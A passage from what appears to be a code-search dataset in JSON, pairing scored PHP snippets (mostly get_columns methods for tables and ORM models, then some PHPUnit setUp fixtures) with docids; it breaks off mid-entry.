'%s',\n );\n }", "title": "" }, { "docid": "9038c4b54bdf59c394b525c913aa146a", "score": "0.72610754", "text": "function get_columns()\n\t{\n\t\t$columns = array(\n\t\t\t'id' => 'ID',\n\t\t\t'first_name' => 'Prénom',\n\t\t\t'last_name' => 'Nom de famille',\n\t\t\t'phone' => 'Numéro de téléphone',\n\t\t\t'age' => 'Age',\n\t\t\t'cours' => 'Objet',\n\t\t\t'horraire' => 'Tranche horraire',\n\t\t);\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "35e92c014d8c2b509cf820b0a05249bb", "score": "0.72568834", "text": "public function get_columns() {\r\n $columns = array(\r\n 'cb' => '<input type=\"checkbox\" />',\r\n 'title' => 'Title',\r\n 'date' => 'Date',\r\n 'shortcode' => 'Shortcode',\r\n );\r\n return $columns;\r\n }", "title": "" }, { "docid": "81de3212e2b7e4c47c17de72c70004e0", "score": "0.7254477", "text": "public function getColumns()\n\t{\n\t\tstatic $columns = array(\n\t\t\t'target_id', 'target_data_type_id', 'data_value'\n\t\t);\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "d6ab691ce7ed157830b171adee32fbbb", "score": "0.72304916", "text": "public function get_columns()\n {\n return array(\n 'name' => '标题',\n 'poster' => '封面',\n 'douban_score' => '豆瓣评分',\n 'card_subtitle' => '描述',\n 'tmdb_type' => '来源'\n );\n }", "title": "" }, { "docid": "c75e07aa6f9c80ea1b57c26d44eb6be7", "score": "0.7228038", "text": "public static function columnsDefinition()\n {\n return [\n 'id' => [\n 'name' => 'id',\n 'type' => Type::INTEGER\n ],\n 'name' => [\n 'name' => 'name',\n 'type' => Type::STRING\n ],\n 'email' => [\n 'name' => 'email',\n 'type' => Type::STRING\n ],\n 'password' => [\n 'name' => 'password',\n 'type' => Type::STRING\n ],\n 'createdAt' => [\n 'name' => 'created_at',\n 'type' => Type::DATETIME\n ]\n ];\n }", "title": "" }, { "docid": "a8ca255e91959bac627128d6722bfbee", "score": "0.72261316", "text": "public function get_columns() {\r\n $columns = array(\r\n 'post_title' => 'Title',\r\n 'post_type' => 'Post Type',\r\n 'post_likes' => 'Likes',\r\n 'post_Rating' => 'Ratings',\r\n 'post_reviews' => 'Reviews',\r\n 'actions' => 'Action',\r\n );\r\n\r\n return $columns;\r\n }", "title": "" }, { "docid": "34d76f9f9badac74071f86c2a446dcdc", "score": "0.7215758", "text": "private function getColumns()\r\n {\r\n return array(\r\n self::column('id'),\r\n self::column('template'),\r\n self::column('protected'),\r\n self::column('image'),\r\n self::column('seo'),\r\n self::column('default'),\r\n PageTranslationMapper::column('lang_id'),\r\n PageTranslationMapper::column('web_page_id'),\r\n PageTranslationMapper::column('content'),\r\n PageTranslationMapper::column('title'),\r\n PageTranslationMapper::column('name'),\r\n PageTranslationMapper::column('meta_description'),\r\n PageTranslationMapper::column('keywords'),\r\n\r\n // Web page meta columns\r\n WebPageMapper::column('slug'),\r\n WebPageMapper::column('changefreq'),\r\n WebPageMapper::column('priority'),\r\n WebPageMapper::column('controller')\r\n );\r\n }", "title": "" }, { "docid": "1bed4c4882a775899e7a36757d07aa88", "score": "0.7213442", "text": "public function getColumns()\n\t{\n\t\tstatic $columns = array(\n\t\t\t'customer_history_search_id',\n\t\t\t'date_created',\n\t\t\t'application_id',\n\t\t\t'target_id',\n\t\t\t'match_application_id',\n\t\t\t'match_target_id',\n\t\t\t'customer_history_status_id',\n\t\t);\n\t\t\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "3244ed39cad696111944dfcab7f52b42", "score": "0.7209888", "text": "public function get_columns() {\n\t\treturn array(\n\t\t\t'user_id' => '%d',\n\t\t\t'group_id' => '%d',\n\t\t\t'role' => '%s',\n\t\t\t'date_added' => '%s',\n\t\t);\n\t}", "title": "" }, { "docid": "186dcc20bc3d01bbe025f5100053ec46", "score": "0.7201722", "text": "private function getColumns() {\n $return = array();\n $this->addDebugLine('start get Columns ', 6);\n\n foreach ($this->columns as $column => $value) {\n\n // by select is not relevante if the data is false\n if ($this->command == 'SELECT' or $value['data'] != false) {\n\n\n // if is a select get the table on it\n if ($this->command == 'SELECT' and $value['table'] != false) {\n $array['column'] = $value['table'] . '.' . $column;\n } else {\n $array['column'] = $column;\n }\n $array['data'] = $this->getSqlDataVar($value['data'], $column, $value['table'], 'col');\n $return[] = $array;\n } else {\n \n }\n }\n return $return;\n }", "title": "" }, { "docid": "0e401ddfd5635b2094b55951df6b4edc", "score": "0.71928173", "text": "public function columns() : array\n {\n return $this->toCollection('columns')\n ->map(fn($item) => $this->sanitize($item))\n ->toArray();\n }", "title": "" }, { "docid": "11978b4a3f4a452277b3a0ea1ca1ccce", "score": "0.7187929", "text": "private function __getDefinition() : array {\n if ($this->__definition != null) return $this->__definition;\n\n $def = new DBBuilder();\n $this->Definition($def);\n $def = $def->toArray();\n\n $tableName = '';\n $cols = [];\n foreach($def as $table => $columns) {\n $tableName = $table;\n $cols = $columns;\n }\n\n $this->__addAdditionalColumns($cols);\n\n if (empty($tableName)) {\n $this->__definition = [\n $tableName => []\n ];\n } else {\n $this->__definition = [\n $tableName => $cols\n ];\n }\n\n return $this->__definition;\n }", "title": "" }, { "docid": "175c8fb77f0263793fb438d82510c707", "score": "0.7178557", "text": "public function getColumns() : array{\n return $this->tableColumns;\n }", "title": "" }, { "docid": "1e9256c9431d5fab5c564475bbd19981", "score": "0.71735406", "text": "protected function _initColumns()\n {\n return [];\n }", "title": "" }, { "docid": "5cea349db9e4cd0dcc832b72b77a4fb0", "score": "0.7160962", "text": "protected function _getColumns() {\n if(!isset($this->_columns)) {\n $db = call_user_func(DB_CLASS . \"::getInstance\");\n if(is_null($this->_columns)) {\n $columnQuery = \"SELECT `COLUMN_NAME` \";\n $columnQuery .= \"FROM `INFORMATION_SCHEMA`.`COLUMNS` \";\n $columnQuery .= \"WHERE `TABLE_NAME`='\";\n $columnQuery .= call_user_func(DB_CLASS . \"::queryPrep\", static::$_tableName);\n $columnQuery .= \"';\";\n $columnResult = $db->query($columnQuery);\n while($row = $db->fetchAssoc($columnResult)) {\n $this->_columns[$row[\"COLUMN_NAME\"]] = $this->_columnToVar($row[\"COLUMN_NAME\"]);\n }\n mysqli_free_result($columnResult);\n }\n }\n return $this->_columns;\n }", "title": "" }, { "docid": "3254c5c676417f7d005d2937ff733507", "score": "0.71568805", "text": "public function get_columns() {\n\n\t\treturn $columns = array(\n\t\t\t'last_name' => _x( 'Full Name', 'Full Name Column Header', PYIS_MEPR_LTV_ID ),\n\t\t\t'user_login' => _x( 'User Login', 'User Login Column Header', PYIS_MEPR_LTV_ID ),\n\t\t\t'user_email' => _x( 'Email Address', 'Email Address Column Header', PYIS_MEPR_LTV_ID ),\n\t\t\t'user_registered' => _X( 'Joined', 'Joined Column Header', PYIS_MEPR_LTV_ID ),\n\t\t\t'last_billed' => _x( 'Last Billed', 'Last Billed Column Header', PYIS_MEPR_LTV_ID ),\n\t\t\t'next_billed' => _x( 'Next Billed', 'Next Billed Column Header', PYIS_MEPR_LTV_ID ),\n\t\t\t'ltv' => _x( 'LTV', 'LTV Column Header', PYIS_MEPR_LTV_ID ),\n\t\t);\n\t\t\n\t}", "title": "" }, { "docid": "1b8f738971536355702e0112286c1eb4", "score": "0.71523", "text": "function getcolumns() {\n $cols = array('jobnumber','name','projectname','projecttype','totalmargin',\n 'totalchargeout','totalactualmargin','variance');\n return $cols;\n }", "title": "" }, { "docid": "da7c74e4d0aa45ac6997262bf3e00810", "score": "0.71312875", "text": "public function columnMap() {\n\t\t$columns = array_keys(Object::getPublicVars($this));\n\t\treturn array_combine($columns, $columns);\n\t}", "title": "" }, { "docid": "0beca305218a3380ad49ffb19889d712", "score": "0.71227896", "text": "public function get_columns()\n {\n $columns = array(\n 'pedido' => 'Pedido',\n 'nome' => 'Nome',\n 'rastreio' => 'Rastreio',\n 'status' => 'Status',\n 'data' => 'Data/Hora',\n 'descricao' => 'Descrição'\n );\n\n return $columns;\n }", "title": "" }, { "docid": "6a7ffc58504dedf73f1ff1021ddd1d5a", "score": "0.71137786", "text": "public function columns(): array\n {\n return array_keys($this->columns);\n }", "title": "" }, { "docid": "a48e3cb38b21cde793bffc8ee70b9503", "score": "0.71128035", "text": "public function columns();", "title": "" }, { "docid": "a48e3cb38b21cde793bffc8ee70b9503", "score": "0.71128035", "text": "public function columns();", "title": "" }, { "docid": "222ce23ccc1616944e2fdb0d8165ec1e", "score": "0.70766073", "text": "function getColumns();", "title": "" }, { "docid": "d7407a9b8d0f97d68f11becbfaa9d514", "score": "0.705548", "text": "function get_columns(){\r\n $columns = array(\r\n 'img_title' => \"Title\",\r\n 'img_description' => 'Description',\r\n 'slide_img' => 'Image',\r\n 'img_order' => \"Order\",\r\n );\r\n return $columns;\r\n }", "title": "" }, { "docid": "97e1e9854e4543bf624c52b483c28ec0", "score": "0.7044433", "text": "public function getColumns()\n {\n if (! empty($this->columns)) {\n return array_keys($this->columns);\n }\n\n if (! empty($this->values)) {\n return array_keys($this->values);\n }\n\n return [];\n }", "title": "" }, { "docid": "590ae94f9ac3eb4f049261673313a9e7", "score": "0.7038771", "text": "public function get_columns() {\n\t\treturn array(\n\t\t\t'id' => '%d',\n\t\t\t'url' => '%s',\n\t\t\t'label' => '%s',\n\t\t\t'type' => '%s',\n\t\t\t'object_id' => '%d',\n\t\t\t'menu_id' => '%d',\n\t\t\t'post_id' => '%d',\n\t\t\t'parent' => '%d',\n\t\t\t'menu_order' => '%d',\n\t\t);\n\t}", "title": "" }, { "docid": "cb767d38186390b31873f4dbd9b82f09", "score": "0.70330167", "text": "function Columns()\n\t{\n\t\t$this->_GenerateColumns();\n\t\treturn $this->_columns;\n\t}", "title": "" }, { "docid": "55c47ea03c8ec0622df3d223b100b888", "score": "0.7018512", "text": "public function getColumns()\n {\n return $this->columns;\n }", "title": "" }, { "docid": "65b9e5a0bdd83d83ccd5749046f66749", "score": "0.70147866", "text": "public static function get_columns() {\n\t\treturn array('id', 'thread_id', 'type', 'author',\n 'create_date', 'last_modification_date', 'content', 'content_html', 'task_count');\n\t}", "title": "" }, { "docid": "c2a86f4eca24c91a57c708b7ba78a3ad", "score": "0.7011657", "text": "abstract public static function columns ();", "title": "" }, { "docid": "c6a3d4739aaab32d6147c51bb910ca04", "score": "0.700954", "text": "public function getColumnDef()\n\t{\n\t\tif ( empty($this->_db))\treturn false;\n\n\t\t$columns = array();\n\t\t$table = reset($this->_tables);\n\t\tif ($this->_type == 'mysql')\n\t\t{\n\t\t\t$q = \"SHOW COLUMNS FROM $table\";\n\t\t\t$res = $this->_db->query($q);\n\t\t\tif ( $res === false )\n\t\t\t{\n\t\t\t\t$this->_error('getColumnDef:'.$q);\n\t\t\t\t$this->_error($this->_db->errorInfo());\n\t\t\t\treturn $columns;\n\t\t\t}\n\t\t\t$columns = $res->fetchAll(PDO::FETCH_COLUMN);\n\t\t}\n\t\tif ($this->_type == 'sqlite')\n\t\t{\n\t\t\t$token = explode('.', $table);\n\t\t\t$q = \"PRAGMA table_info('\" . $token[1] . \"')\";\n\t\t\t$res = $this->_db->query($q);\n\t\t\tif ( $res === false )\n\t\t\t{\n\t\t\t\t$this->_error('getColumnDef:'.$q);\n\t\t\t\t$this->_error($this->_db->errorInfo());\n\t\t\t\treturn $columns;\n\t\t\t}\n\t\t\t$columns = $res->fetchAll(PDO::FETCH_COLUMN, 1);\n\t\t}\n\n\t\treturn array_map('strtolower', $columns);\n\t}", "title": "" }, { "docid": "213be016153852cb96377e7f47bc0091", "score": "0.70091665", "text": "abstract public static function getTableColumns(): array;", "title": "" }, { "docid": "6365e91376f080b662750162ed104c39", "score": "0.70057946", "text": "public function get_columns() {\n\t\t$columns = array(\n\t\t\t'cb'\t\t\t=> '<input type=\"checkbox\"/>',\n\t\t\t'title'\t\t\t=> __( 'Form Title', 'iubenda' ),\n\t\t\t'ID'\t\t\t=> __( 'Form ID', 'iubenda' ),\n\t\t\t'source'\t\t=> __( 'Form Source', 'iubenda' ),\n\t\t\t'fields'\t\t=> __( 'Fields', 'iubenda' ),\n\t\t\t'date'\t\t\t=> __( 'Date', 'iubenda' ),\n\t\t);\n\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "800805710bdc55d43e18316593a9226b", "score": "0.70027095", "text": "public function getColumns()\n\t\t{\n\t\t\tstatic $columns = array(\n\t\t\t\t'queue_entry_id', 'queue_id', 'agent_id', 'related_id',\n\t\t\t\t'date_queued', 'date_available', 'priority',\n\t\t\t\t'dequeue_count', 'start_hour', 'end_hour', 'owning_agent_id',\n\t\t\t\t'date_expire', 'agent_queue_reason_id'\n\t\t\t);\n\t\t\treturn $columns;\n\t\t}", "title": "" }, { "docid": "915810020c7c7cddbaf7e6eac072b9b6", "score": "0.6992836", "text": "public function getColumnsList(){\n return $this->_get(3);\n }", "title": "" }, { "docid": "28744e1c69ad7fb1b78a61384a387c46", "score": "0.6991766", "text": "public function getColumns()\n {\n return $this->columns;\n }", "title": "" }, { "docid": "28744e1c69ad7fb1b78a61384a387c46", "score": "0.6991766", "text": "public function getColumns()\n {\n return $this->columns;\n }", "title": "" }, { "docid": "28744e1c69ad7fb1b78a61384a387c46", "score": "0.6991766", "text": "public function getColumns()\n {\n return $this->columns;\n }", "title": "" }, { "docid": "f0b60e734196d22b36e32677bda92a34", "score": "0.6991086", "text": "public function getColumns()\r\n {\r\n return $this->columns;\r\n }", "title": "" }, { "docid": "f0b60e734196d22b36e32677bda92a34", "score": "0.6991086", "text": "public function getColumns()\r\n {\r\n return $this->columns;\r\n }", "title": "" }, { "docid": "5d885d555c85b04587a9561fe19114e5", "score": "0.6985091", "text": "public function get_columns() {\n\t\t$columns = array(\n\t\t\t'cb' \t\t\t\t=>\t'<input type=\"checkbox\" />', \n\t\t\t'trans_id'\t\t\t\t=>\t__( 'ID' ),\n\t\t\t'trans_date'\t\t\t=>\t__( 'Date' ),\n\t\t\t'trans_amount'\t\t\t=>\t__( 'Amount' ),\n\t\t\t'trans_label'\t\t\t=>\t__( 'Description' ),\n\t\t\t'trans_type'\t\t\t=>\t__( 'Type' )\n\t\t);\n\t\t\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "80ab6242c533ec32b1d754bbbd9a85a1", "score": "0.6953047", "text": "public function getColumns()\n {\n if (array_key_exists(\"columns\", $this->_propDict)) {\n return $this->_propDict[\"columns\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "a7eafaafd80df13d70263c38778f388a", "score": "0.69501585", "text": "protected abstract function _getCols(): array;", "title": "" }, { "docid": "dcfbc98c887fb403c12966507c1c50a6", "score": "0.6948013", "text": "public function columns(): Collection;", "title": "" }, { "docid": "91cd82b837900a1d05a609e547e8ec40", "score": "0.6938655", "text": "public function getColumns() {\n\t\treturn $this->columns;\n\t}", "title": "" }, { "docid": "72caa07d65922c12791a50d53cd1a8a2", "score": "0.6924219", "text": "function getColumns($rst = null) {\n try {\n while ($field = $this->nextField($rst)) $array [] = $field->name;\n unset ($numfield);\n unset ($field);\n return $array;\n }\n catch (Exception $ex) {\n }\n }", "title": "" }, { "docid": "1a186cc51c41fa4d1740d651d8bad338", "score": "0.69237906", "text": "public function columns() {\n\t\tif (func_num_args() > 0) {\n\t\t\t// Get columns :\n\t\t\t$args = func_get_args();\n\t\t\tif (is_array($args[0]))\n\t\t\t\t$columns = $args[0];\n\t\t\telse\n\t\t\t\t$columns = $args;\n\n\t\t\t// Add columns :\n\t\t\t$this->columns->reset();\n\t\t\tforeach($columns as $column)\n\t\t\t\t$this->columns->and($column);\n\t\t}\n\t\treturn $this->columns;\n\t}", "title": "" }, { "docid": "5d76b152920670cadc6e5bde14259d9d", "score": "0.6920819", "text": "public function columns()\n {\n $fields = [\n 'Event.Title' => 'Title',\n 'StartDate.Nice' => 'Startdatum',\n 'EndDate.Nice' => 'Einddatum',\n 'StartTime.Nice' => 'Starttijd',\n 'EndTime.Nice' => 'Eindtijd',\n // 'CMSEditLink' => ['link' => true]\n ];\n\n return $fields;\n }", "title": "" }, { "docid": "024773de1a6c06c2d3491af9ea10c2b7", "score": "0.69178456", "text": "public function getColumns()\n\t{\n\t\treturn $this->columns;\n\t}", "title": "" }, { "docid": "3f2db594a871e3f01f19aea570270dad", "score": "0.6917588", "text": "public function columns(): array {\n\t\treturn array_keys($this->class->column_types);\n\t}", "title": "" }, { "docid": "52bcba2b8394a6cddfb42c720fbf4aac", "score": "0.6909485", "text": "public function getPostColumns()\n {\n return array(\n 'recordId',\n 'reservationId',\n 'headerId',\n 'examinationId',\n 'objectNo',\n 'examinationName',\n 'examinationTemplate',\n 'checkupId',\n 'seq',\n 'topCategoryId',\n 'topCategoryName',\n 'topCategoryTemplate',\n 'middleCategoryId',\n 'middleCategoryName',\n 'middleCategoryTemplate',\n 'varchar1',\n 'varchar2',\n 'varchar3',\n 'varchar4',\n 'varchar5',\n 'integer1',\n 'integer2',\n 'integer3',\n 'integer4',\n 'integer5',\n 'date1',\n 'date2',\n 'date3',\n 'date4',\n 'date5',\n 'text1',\n 'text2',\n 'text3'\n );\n }", "title": "" }, { "docid": "ccbb34f28caf1430baabccbd262ac950", "score": "0.6908234", "text": "public function getColumns()\r\n\t{\r\n\t\t// Return the Column names which are used\r\n\t\treturn $this->columns;\r\n\t}", "title": "" }, { "docid": "c34ec729f61a6dab0bfd42d3b2a5bc01", "score": "0.690417", "text": "private static function tableColumns()\n {\n // get main DB connection\n $db = App::$current->connection;\n\n // get description of current table\n $q = $db->prepare(\"DESCRIBE \" . static::tableName());\n $q->execute();\n\n // return array with column names\n return $q->fetchAll(PDO::FETCH_COLUMN);\n }", "title": "" }, { "docid": "a33d79b1c61e85eaf600987855268ef1", "score": "0.68990296", "text": "public function list_columns();", "title": "" }, { "docid": "6e8eda7f25aa447a91120ed6c081db02", "score": "0.6895887", "text": "public function get_columns() {\n $columns = array(\n 'cb' => '<input type=\"checkbox\" />', //Render a checkbox instead of text\n 'faq_id' => __('FAQ ID', 'faq'),\n 'faq_question' => __('Question', 'faq'),\n 'faq_answer' => __('Answer', 'faq'),\n 'faq_order' => __('Order', 'faq'),\n );\n return $columns;\n }", "title": "" }, { "docid": "2dd4cb08795983d68372a93c11a84a15", "score": "0.68951523", "text": "abstract protected function getDataColumns(): array;", "title": "" }, { "docid": "a52bb322420042581bd817627b73521d", "score": "0.68900293", "text": "public function getColumns() {\n return $this->cols;\n }", "title": "" }, { "docid": "8f753237a23241b27ee9a77984264786", "score": "0.6887506", "text": "public function columns()\n\t{\n\t\t$cache = &$this->pixie->orm->column_cache;\n\t\t\n\t\tif (!isset($cache[$this->table]))\n\t\t\t$cache[$this->table] = $this->conn->list_columns($this->table);\n\t\treturn $cache[$this->table];\n\t}", "title": "" }, { "docid": "6eb0e09786bd7bcbe9ed33eebded11ff", "score": "0.6882424", "text": "function get_columns() {\n $columns = array(\n 'cb'=> '<input type=\"checkbox\" />', \n 'reservationTitle'=> __( 'Title', 'sp' ),\n 'date'=> __( 'Date', 'sp' ),\n 'employee'=> __( 'Employee', 'sp' ),\n 'car'=> __( 'Car ID', 'sp' ),\n 'service'=> __( 'Service', 'sp' ),\n 'timeStart'=> __( 'Start time', 'sp' ),\n 'timeEnd'=> __( 'End time', 'sp' ),\n 'hours'=> __( 'Hours', 'sp' ),\n 'route'=> __( 'Route', 'sp' ),\n 'PAX'=> __( 'PAX', 'sp' ),\n 'comment'=> __( 'Comment', 'sp' ),\n 'amount'=> __( 'Amount', 'sp' ),\n 'amountCash'=> __( 'Amount cash', 'sp' )\n );\n return $columns;\n }", "title": "" }, { "docid": "b95be1a1b88a020310c876e8648f6deb", "score": "0.68655837", "text": "public function getColumns(): Collection;", "title": "" }, { "docid": "17c35b3ef17c8420b648e1e546352078", "score": "0.6863011", "text": "public function getColumns()\n {\n return array_merge($this->attributes, $this->excludedColumns);\n }", "title": "" }, { "docid": "544e904d48508397acd854cab5ecac17", "score": "0.6861599", "text": "public function getColumns()\n\t{\n\t\treturn get_object_vars($this);\n\t}", "title": "" }, { "docid": "061afe6e3c5ce98c2f10ac7e57f9a06b", "score": "0.6859343", "text": "public function getColumns()\n {\n if ( !$this->constructTemplate() )\n\t\t\treturn false;\n\n return self::$classInfo[$this->objectInfo['tableName']]['columns'];\n }", "title": "" }, { "docid": "f2938ab29643f0d51e81e188627c902d", "score": "0.6857011", "text": "protected function get_fixed_columns() {\n return array('testcolumn' => 'Test Column');\n }", "title": "" }, { "docid": "7802bd0028568539e33f43300d585876", "score": "0.6854611", "text": "public function columns()\n {\n $fields = [\n 'FirstName' => 'FirstName',\n 'Surname' => 'Surname',\n 'Email' => 'Email'\n ];\n $config = SiteConfig::current_site_config();\n if ($config->getField(\"ExportFields\")) {\n $ExportFields = json_decode($config->getField(\"ExportFields\"), true);\n $ExtraFields = array_combine($ExportFields, $ExportFields);\n $fields = array_merge($fields, $ExtraFields);\n }\n\n\n return $fields;\n }", "title": "" }, { "docid": "56affcf8c487ff23b23b9416e3d93c46", "score": "0.6852685", "text": "final public function getColumns()\n {\n return $this->getDefaultColumns();\n }", "title": "" }, { "docid": "b0aec1d9e2b81887e55815fd777ed586", "score": "0.68504846", "text": "public function getColumns() {\n\t\treturn $this->_columns;\n\t}", "title": "" }, { "docid": "d842003ea289d26d389bdbbe4840f031", "score": "0.68466973", "text": "function get_columns() {\n\n $columns = array(\n 'post_author' => __('Seller Name', 'farmtoyou'),\n 'user_name' => __('User Name', 'farmtoyou'),\n 'post_email' => __('User Email', 'farmtoyou'),\n 'post_status' => __('User Status', 'farmtoyou'),\n 'post_date' => __('Date', 'farmtoyou'),\n );\n return $columns;\n }", "title": "" }, { "docid": "fcb7b06fa2d995e77f45a9b05cf00f47", "score": "0.6840812", "text": "public function getColumns() {\n return $this->_columns;\n }", "title": "" }, { "docid": "8f0b40929f7e763eaa6cf74bad569863", "score": "0.68339974", "text": "public static function columns(): array\n {\n return [\n 'position'\n ];\n }", "title": "" }, { "docid": "4e2b75d9b13d30bb6e1f42a515a13c3a", "score": "0.6830305", "text": "public function get_columns() {\n\n $columns = array(\n 'cb' => '<input type=\"checkbox\" />',\n 'plugin' => __( 'Plugin', 'visionary' ),\n 'source' => __( 'Source', 'visionary' ),\n 'type' => __( 'Type', 'visionary' ),\n 'status' => __( 'Status', 'visionary' )\n );\n\n return $columns;\n\n }", "title": "" }, { "docid": "358a0195332cbb988cf35780cf4ff9bc", "score": "0.6829465", "text": "protected function _tableCols(){\n\t\t$this->tableCols = $this->schemaMgr->listTableColumns($this->tableName);\n\t\treturn $this->tableCols;\n\t}", "title": "" }, { "docid": "ae53968ccf3c6f41d41dabfa7fb8adb3", "score": "0.6823642", "text": "public function get_columns() {\n\t\t$columns = array(\n\t\t\t'url' => __( 'URL', 'edd' ),\n\t\t\t'edd_version' => __( 'EDD', 'edd-usage-tracking' ),\n\t\t\t'php_version' => __( 'PHP', 'edd-usage-tracking' ),\n\t\t\t'wp_version' => __( 'WP', 'edd-usage-tracking' ),\n\t\t\t'server' => __( 'Server', 'edd-usage-tracking' ),\n\t\t\t'multisite' => __( 'Multisite', 'edd-usage-tracking' ),\n\t\t\t'install_date' => __( 'Install Date', 'edd-usage-tracking' ),\n\t\t\t'theme' => __( 'Theme', 'edd' ),\n\t\t\t'email' => __( 'Email', 'edd' ),\n\t\t\t'plugins' => __( 'Plugins', 'edd' ),\n\t\t\t'products' => __( 'Products', 'edd-usage-tracking' ),\n\t\t\t'download_label' => __( 'Label', 'edd-usage-tracking' ),\n\t\t\t'locale' => __( 'Locale', 'edd-usage-tracking' ),\n\t\t\t'checkin_date' => __( 'Date', 'edd-usage-tracking' ),\n\t\t);\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "e072bb3ded7d16ddcfb6f63688833c10", "score": "0.6815858", "text": "public static function columns() {\n \n \t$columns['id'] = new \\Gino\\IntegerField(array(\n \t\t'name' => 'id',\n \t\t'primary_key' => true,\n \t\t'auto_increment' => true,\n \t));\n \t$columns['class'] = new \\Gino\\CharField(array(\n \t\t'name' => 'class',\n \t\t'label' => _('Nome della classe'),\n \t\t'required' => true,\n \t\t'max_lenght' => 128,\n \t));\n \t$columns['code'] = new \\Gino\\CharField(array(\n \t\t'name' => 'code',\n \t\t'label' => _('Codice del permesso'),\n \t\t'required' => true,\n \t\t'max_lenght' => 128,\n \t));\n \t$columns['label'] = new \\Gino\\CharField(array(\n \t\t'name'=>'label',\n \t\t'label' => _(\"Label\"),\n \t\t'required' => true,\n \t\t'max_lenght' => 128,\n \t));\n \t$columns['description'] = new \\Gino\\TextField(array(\n \t\t'name' => 'description',\n \t\t'label' => _(\"Descrizione\"),\n \t\t'required' => false\n \t));\n \t$columns['admin'] = new \\Gino\\BooleanField(array(\n \t\t'name' => 'admin',\n \t\t'label' => _('Richiede accesso area amministrativa'),\n \t\t'required' => true,\n \t\t'default' => 0,\n \t));\n \n \treturn $columns;\n }", "title": "" }, { "docid": "ca81c393014186f80f3fbd66e99163eb", "score": "0.68080854", "text": "public function getDataColumns()\n\t{\n\t\treturn $this->_get_data_columns();\n\t}", "title": "" }, { "docid": "b3aae30768245defab81fea51b03b616", "score": "0.6804592", "text": "protected function getColumnsFromBuilder()\n {\n return $this->html()->getColumns();\n }", "title": "" }, { "docid": "23de83ddcb03dfc329945339143a8868", "score": "0.68008536", "text": "public function columns(): array\n {\n return $this->getTableManager()->columnNames();\n }", "title": "" }, { "docid": "89201f9e330e1aa78612ba123ba973df", "score": "0.67937887", "text": "public function get_columns() {\n\t\treturn array(\n\t\t\t'cb' => '<input type=\"checkbox\">',\n\t\t\t'username' => __( 'Username', 'wporg-translate' ),\n\t\t\t'name' => __( 'Name', 'wporg-translate' ),\n\t\t\t'email' => __( 'E-mail', 'wporg-translate' ),\n\t\t\t'locales' => __( 'Locales', 'wporg-translate' ),\n\t\t);\n\t}", "title": "" } ]
2418e909dbfecd17f08d977ea2f7199e
Sets up the fixture, for example, opens a network connection. This method is called before a test is executed.
[ { "docid": "09cb0fe05fab331915feaa2e2a301121", "score": "0.0", "text": "protected function setUp()\n {\n $this->object1 = new \\Yana\\Security\\Data\\SecurityRules\\Rule('Group1', 'Role1', true);\n $this->object2 = new \\Yana\\Security\\Data\\SecurityRules\\Rule('Group2', 'Role2', false);\n $this->object3 = new \\Yana\\Security\\Data\\SecurityRules\\Rule('', '', false);\n }", "title": "" } ]
[ { "docid": "cff80dd8757f9e7e9faf8ead7bbb4cc9", "score": "0.7158449", "text": "public function setUp() {\n\t\tparent::setUp();\n\n\t\t// Create client and load database fixtures\n\t\t$this->client = static::createClient();\n\t\t$this\n\t\t\t\t->loadFixtures(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'Monubit\\SearchBundle\\Tests\\Fixtures\\LoadMonumentData'));\n\n\t}", "title": "" }, { "docid": "ff1f22a4b74899ee2cc34675dc29a808", "score": "0.70134336", "text": "protected function setUp()\n {\n $this->db = \\App\\Bdd\\BddFactory::create(\"memory\");\n $this->db->exec(file_get_contents(APP_ROOT . '/ressources/tests/databases/memory.sql'));\n \n $this->object = new Client($this->db);\n }", "title": "" }, { "docid": "2ad16f913e2285bd64a78147aa25b755", "score": "0.6896501", "text": "public function setUp()\n {\n $this->fixture = new Template(self::EXAMPLE_NAME);\n }", "title": "" }, { "docid": "7546317bc18fe4f1e2614435d754abee", "score": "0.6788366", "text": "protected function setUp()\n {\n parent::setUp();\n\n $_GET = [];\n\n $this->book = new Book;\n }", "title": "" }, { "docid": "0a2e1fe000d35fb8b1a3a2f54f8345ba", "score": "0.6758115", "text": "public function setUp() {\n $this->fixture= new RestMarshalling();\n }", "title": "" }, { "docid": "3cf93a3149c987974545d81ca2101980", "score": "0.6745982", "text": "public function setUp()\n {\n\n $this->db = Db::getActive();\n $this->response = Response::getActive();\n\n }", "title": "" }, { "docid": "1977ff6b814cb8abb7dacfbd910f4cf7", "score": "0.67140543", "text": "protected function setUp() {\r\n\t\tparent::setUp ();\r\n\t\t$this->storage = new Storage ( );\r\n\t\t$this->connectDB();\r\n\t\t$this->cleanDB ();\r\n\t\t$this->createUser ();\r\n\t\t$this->storage->connect ( $this->dbh );\n\t}", "title": "" }, { "docid": "8cc7cbb095438e438188a776d450cff4", "score": "0.66998494", "text": "protected function setUp()\n\t{\n\t\tif (\\file_exists(static::$testDataPath)) {\n\t\t\t$this->fileUrl = static::$testDataPath;\n\t\t} elseif (!empty($_SERVER['YETI_KEY']) && \\App\\RequestUtil::isNetConnection() && \\strpos(\\get_headers(static::$testDataUrl . $_SERVER['YETI_KEY'])[0], '200') !== false) {\n\t\t\t$this->fileUrl = static::$testDataUrl . $_SERVER['YETI_KEY'];\n\t\t} else {\n\t\t\t$this->markTestSkipped('TestData package not available, no sample data to install.');\n\t\t}\n\t}", "title": "" }, { "docid": "f3b144baf27c06c129ffe4c3e8f379bf", "score": "0.6683793", "text": "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "title": "" }, { "docid": "f3b144baf27c06c129ffe4c3e8f379bf", "score": "0.6683793", "text": "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "title": "" }, { "docid": "f3b144baf27c06c129ffe4c3e8f379bf", "score": "0.6683793", "text": "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "title": "" }, { "docid": "f3b144baf27c06c129ffe4c3e8f379bf", "score": "0.6683793", "text": "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "title": "" }, { "docid": "6b23699ddef6f5e5d1d4cbd5147edac2", "score": "0.6679458", "text": "protected function setUp()\n {\n 